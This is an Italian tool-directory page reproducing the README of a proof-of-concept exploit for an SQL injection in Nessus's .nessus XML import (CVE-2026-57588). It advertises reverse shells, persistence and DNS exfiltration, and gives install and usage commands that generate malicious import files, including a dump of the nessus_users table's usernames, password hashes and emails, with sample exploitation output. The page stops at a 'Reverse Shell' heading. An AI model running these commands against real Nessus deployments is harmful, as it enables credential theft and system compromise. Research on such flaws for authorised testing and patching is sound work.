Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC — PoC per CVE-2026-57588 - SQL injection nell'importazione XML di Nessus 10.12.0. Genera file .nessus dannosi per enumerare database, esfiltrare credenziali e testare l'iniezione cieca basata sul tempo. Per ricerche di sicurezza autorizzate. Autore: Sudeepa Wanigarathna. Corretto nella versione 10.12.1. | Kitploit
Strumenti/GitHubGitHub/cerberusmrxi/cve-2026-57588-nessus-xml-import-sql-injection-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiPost-ExploitPenetration TestingCommand and ControlRed Teaming
Sicurezza dei Database
GitHubcerberusmrxi/cve-2026-57588-nessus-xml-import-sql-injection-poc

CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

Vedi Repository
1233 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

PoC per CVE-2026-57588 - SQL injection nell'importazione XML di Nessus 10.12.0. Genera file .nessus dannosi per enumerare database, esfiltrare credenziali e testare l'iniezione cieca basata sul tempo. Per ricerche di sicurezza autorizzate. Autore: Sudeepa Wanigarathna. Corretto nella versione 10.12.1.

Condividi

🛡️ CVE-2026-57588 - Framework di Sfruttamento dell'Iniezione SQL Nessus

Security Research CVE Version Python License


📋 Sommario

  • Panoramica
  • Dettagli della Vulnerabilità
  • Funzionalità
  • Installazione
  • Avvio Rapido
  • Esempi di Utilizzo
  • Tipi di Payload
  • Scenari Avanzati
  • Reportistica
  • Risoluzione dei Problemi
  • Considerazioni sulla Sicurezza
  • Licenza

🔍 Panoramica

CVE-2026-57588 è una vulnerabilità critica di iniezione SQL scoperta in Tenable Nessus versioni 10.12.0 e precedenti. La vulnerabilità risiede nel meccanismo di parsing XML durante l'importazione dei file di risultati di scansione .nessus, consentendo agli utenti autenticati con privilegi di importazione di eseguire query SQL arbitrarie sul database PostgreSQL sottostante.


⚠️ Dettagli della Vulnerabilità

ProprietàValore
ID CVECVE-2026-57588
Tipo di vulnerabilitàIniezione SQL
Prodotti interessatiTenable Nessus 10.12.0 e precedenti
Versione correttaNessus 10.12.1 e successive
Punteggio CVSS4.3 (Medio)
Vettore di attaccoRete
Complessità dell'attaccoBassa
Privilegi richiestiAutenticato (permessi di importazione)
Interazione utenteRichiesta (ingegneria sociale)
ImpattoEsfiltrazione di dati, RCE

🔬 Dettagli Tecnici

La vulnerabilità è dovuta a una sanificazione insufficiente dei valori dei tag XML prima che vengano incorporati nelle query SQL durante il processo di importazione. Un attore malintenzionato può creare un file .nessus contenente payload di iniezione SQL appositamente costruiti in tag XML come:

  • hostname
  • fqdn
  • os
  • system-type
  • mac-address
  • netbios-name

Quando un utente privilegiato importa il file dannoso, i valori non sanificati vengono eseguiti sul database PostgreSQL, consentendo:

  • Enumerazione del database
  • Esfiltrazione di dati
  • Esecuzione di comandi
  • Accesso al file system
  • Installazione di persistenza

✨ Funzionalità

Clicca per espandere l'elenco delle funzionalità

🎯 Gestione dei Payload

  • Oltre 13 tipi di payload categorizzati per scopo
  • Generazione basata su modelli dei payload
  • Creazione di payload personalizzati e validazione
  • Validazione dei parametri e controllo della sintassi
  • Verifica della sintassi SQL

🚀 Capacità di Sfruttamento

  • Sfruttamento multi-stage con esecuzione parallela
  • Fingerprinting ed enumerazione del database
  • Esfiltrazione di dati con selezione personalizzata di tabelle/colonne
  • Esecuzione di comandi sul sistema target
  • Accesso e lettura del file system
  • Reverse shell con sessione interattiva
  • Meccanismi di installazione della persistenza
  • Iniezione SQL cieca basata sul tempo
  • Iniezione SQL cieca basata su booleani
  • Iniezione SQL basata sugli errori
  • Query impilate per sfruttamento avanzato
  • Esfiltrazione DNS out-of-band

📊 Report e Logging

  • Report HTML con stile professionale
  • Report Markdown per la documentazione
  • Report JSON per l'automazione
  • Report di testo per una rapida revisione
  • Rotazione dei log con più livelli
  • Statistiche di esecuzione dettagliate
  • Hashing dei file per la verifica dell'integrità

🛠️ Funzionalità Avanzate

  • Esecuzione parallela con job configurabili
  • Supporto proxy per operazioni stealth
  • Gestione dei certificati SSL/TLS
  • Validazione XML e controllo dello schema
  • Modalità interattiva per lo sfruttamento in tempo reale
  • Meccanismo di retry per l'affidabilità
  • Configurazione del timeout per connessioni lente

📦 Strumentazione Professionale

  • Struttura CLI basata su sottocomandi
  • Modalità verbose e silenziosa
  • Output a terminale colorato
  • Indicatori di avanzamento per attività lunghe
  • Supporto Docker per test in container
  • Compatibilità multipiattaforma (Linux, Windows, macOS)

📦 Installazione

🐍 Prerequisiti

  • Python 3.7 o superiore
  • pip (gestore di pacchetti Python)
  • Git (opzionale, per la clonazione)

🔧 Installazione Rapida

# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

🐳 Installazione Docker

# Build the Docker image
docker build -t nessus-exploit .

# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum

📦 Installazione tramite Pacchetto

# Install as a package
pip install -e .

# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum

🚀 Avvio Rapido

Utilizzo Base

# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum

# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus

# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

Aiuto dei Comandi

# Show general help
python3 exploit.py --help

# Show generate command help
python3 exploit.py generate --help

# List all available payloads
python3 exploit.py list

💡 Esempi di Utilizzo

1. Enumerazione di Base

python3 exploit.py generate -u https://test.com -p enum
Output Previsto
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s

============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================

2. Sfruttamento Avanzato Multi-Stage

python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v

3. Esfiltrazione di Dati

# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status

4. Reverse Shell

Scarica lo strumento